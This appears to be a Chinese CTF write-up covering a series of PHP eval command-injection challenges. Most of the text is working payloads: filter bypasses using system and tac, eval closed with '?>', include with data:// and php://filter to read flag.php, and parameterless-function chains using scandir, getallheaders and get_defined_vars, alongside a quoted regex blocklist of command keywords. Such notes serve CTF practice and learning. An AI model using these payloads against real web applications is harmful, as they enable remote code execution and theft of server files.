?c=system("cat fla*.php");
或者其他姿势,因为过滤太少,命令执行得函数很多,绕过姿势也很多,因此不列举了。
或者
?c=echo`tac%09fl*`;
利用自己以前没有注意过得一个点。
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
过滤了括号和分号确实有些难受。过滤了括号只能用无括号的函数:
但是过滤了分号让我非常不解,eval内如果要RCE必须以分号结尾啊,没有分号怎么行呢?
后来看了WP,发现自己的问题所在:
例如eval这样的句子,
eval("echo 1;");
eval("echo 1?>");
这两种都是可以的。因此利用?>。接下来有大致两种方法。
一种是这样:
?c=include$_GET[0]?>&0=data://text/plain,
利用文件包含的洞,在这题的环境直接可以RCE。
或者利用php伪协议来读php文件:
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
学到了!还是自己太菜了。
这题和web32基本一样,多了一些无关紧要的过滤,又想了一种可以include日志:
同上。
同上
同上,不过0改成a即可。
相当于没过滤,姿势太多。
?c=data://text/plain,<?php system("cat fla*")?>
?c=data://text/plain,<?= system("cat fla*");?>
相当于没过滤,姿势太多。
同上,不过hint是这样说的:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
并不是(),而是(),实在有毒。。。
参考:PHP Parametric Function RCE
readfile(array_rand(array_flip(scandir(current(localeconv())))));
或者
readfile(next(array_reverse(scandir(current(localeconv())))));
以为这不是一个apache2的环境,但是经过测试确实存在getallheaders(),因此利用getallheaders():
?c=eval(array_rand(array_flip(getallheaders())));
利用get_defined_vars()
?c=eval(end(current(get_defined_vars())));&a=system("ls");
这题利用session_id的话,无法读flag,因为过滤了数字,也没法hex2bin:
因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
没有hex2bin的话,就只能执行数字字母的命令了。或许也有其他的函数可以实现?